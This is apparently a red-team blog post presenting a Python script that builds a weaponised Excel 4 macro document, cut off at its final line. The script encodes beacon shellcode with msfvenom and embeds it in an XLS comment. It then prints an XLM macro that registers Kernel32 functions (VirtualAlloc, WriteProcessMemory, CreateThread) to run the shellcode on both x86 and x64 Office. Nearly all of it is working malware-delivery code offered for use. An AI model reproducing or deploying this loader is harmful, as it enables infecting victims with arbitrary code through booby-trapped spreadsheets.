Excel 4 Macro Generator (x86/x64)
During the few days, I wanted to make an excel 4 macro that can run on any office architecture and operating system.
I did a bit of search, but I could not find any work done by others. So I decided to write my own.
It was a bit of hassle understanding the excel 4 macro syntax. First of all, I read the excellent post by Stan Hegt over here.
https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/
In the above post, the blog post explains excel 4 macros nicely. But that wasn't enough to build a multi-architecture excel 4 macro builder, so I found out another resource Exel 4 Macro Functions Reference https://bit.ly/2LnBrvi which was very useful.
The below is the complete python script that does all the job.
It takes x86 and x64 beacon raw shellcode and encode them to remove null bytes as excel does not like null bytes. Then takes a empty file that has a "A" chunk in its comment and replace that chunk with encoded raw shellcodes. and then generate excel 4 macro and does the alignment.
import os, time
def getSize(fileobject):
fileobject.seek(0,2) # move the cursor to the end of the file
size = fileobject.tell()
return size
print ("[#] Encoding the payloads...")
print ("-" * 100)
os.system("msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o /tmp/shellcode-86.bin -b '\\x00'")
os.system("msfvenom -p generic/custom PAYLOADFILE=payload64.bin -a x64 --platform windows -e x64/xor_dynamic -f raw -o /tmp/shellcode-64.bin -b '\\x00'")
print ("-" * 100)
print ("[#] Encoding finished.")
time.sleep( 1 )
with open('/tmp/shellcode-86.bin', 'rb') as x86file:
x86payload = x86file.read()
x86file.seek(0,2)
x86payload_len = x86file.tell()
with open('/tmp/shellcode-64.bin', 'rb') as x64file:
x64payload = x64file.read()
x64file.seek(0,2)
x64payload_len = x64file.tell()
payload=x64payload+x86payload
print ("[#] Step 1: Create a .XLS file and enter the following into the comment section of the file and name file 'Book.xls'\n (x64len={x64len}, x86len={x86len}, total={total})\n".format(x64len=x64payload_len, x86len=x86payload_len,total=x86payload_len+x64payload_len))
sampledata = "A" * (x64payload_len+x86payload_len)
print ("-" * 100)
print (sampledata)
print ("-" * 100)
print ("\n [#] Step 2: Move the file to location of the script \n Please enter when its done...")
input()
with open('/root/Desktop/Book.xls', 'rb') as myfile:
data = myfile.read()
newdata=data.replace(str.encode(sampledata),payload)
#$print(newdata)
f = open('/root/Desktop/Out.xls', 'wb')
f.write(newdata)
f.close()
print ("[#] Data successfully written to Out.xls")
time.sleep( 1 )
print ("[#] Step 3: Copy the out.xml to the windows machine. and paste the following content to a excel 4 spreadsheet.\n")
time.sleep( 1 )
print ("-" * 100)
template = """=ERROR(0)
=REGISTER("Kernel32",R[37],"JJJJJ","Alloc",,1,9)
=REGISTER("Kernel32","RtlCopyMemory","JJCJ","RTL",,1,9)
=REGISTER("Kernel32","WriteProcessMemory","JJJCJJJ","WPM",,1,9)
=REGISTER("Kernel32","CreateThread","JJJJJJJ","CThread",,1,9)
=DIRECTORY("C:\\Program Files\\Microsoft Office\\root\\Office16\\")
=IF(ISERROR(R[-1]C), GOTO(R[10]))
=Alloc(1342177280,{x64len},12288,64)
=SET.VALUE(R[-1]C[1],RTL(R[-1]C,LEFT(GET.WORKBOOK(37),255),255))
=FOR("Counter", 1, {x64len},255)
=SET.VALUE(R[-1]C[1],RTL(R[-3]C+(Counter-1),MID(GET.WORKBOOK(37),Counter,255),255))
=NEXT()
=SET.VALUE(R[-11]C[1],DEC2HEX(R[-5]C))
=SET.VALUE(R[-11]C[1],R[-6]C)
=CThread(0,0,R[-12]C[1],0,0,0)
=GOTO(R[22])
=DIRECTORY("C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\")
=IF(ISERROR(R[-1]C), GOTO(R[10]))
=Alloc(0,{x86len},12288,64)
=SET.VALUE(R[-1]C[1],WPM(-1,R[-1]C,LEFT(RIGHT(GET.WORKBOOK(37),{x86len}),255),255,0))
=FOR("Counter", 1, {x86len},255)
=SET.VALUE(R[-1]C[1],WPM(-1,R[-3]C+(Counter-1),MID(RIGHT(GET.WORKBOOK(37),{x86len}),Counter,255),255,0))
=NEXT()
=SET.VALUE(R[-22]C[1],DEC2HEX(R[-5]C))
=SET.VALUE(R[-22]C[1],R[-6]C)
=CThread(0,0,R[-23]C[1],0,0,0)
=GOTO(R[11])
=DIRECTORY("C:\\Program Files\\Microsoft Office\\")
=IF(ISERROR(R[-1]C), GOTO(R[9]))
=Alloc(0,{x86len},12288,64)
=SET.VALUE(R[-1]C[1],WPM(-1,R[-1]C,LEFT(RIGHT(GET.WORKBOOK(37),{x86len}),255),255,0))
=FOR("Counter", 1, {x86len},255)
=SET.VALUE(R[-1]C[1],WPM(-1,R[-3]C+(Counter-1),MID(RIGHT(GET.WORKBOOK(37),{x86len}),Counter,255),255,0))
=NEXT()
=SET.VALUE(R[-33]C[1],DEC2HEX(R[-5]C))
=SET.VALUE(R[-33]C[1],R[-6]C)
=CThread(0,0,R[-34]C[1],0,0,0)
=HALT()
VirtualAlloc
""".format(x86len=x86payload_len,x64len=x64payload_len)
print(temp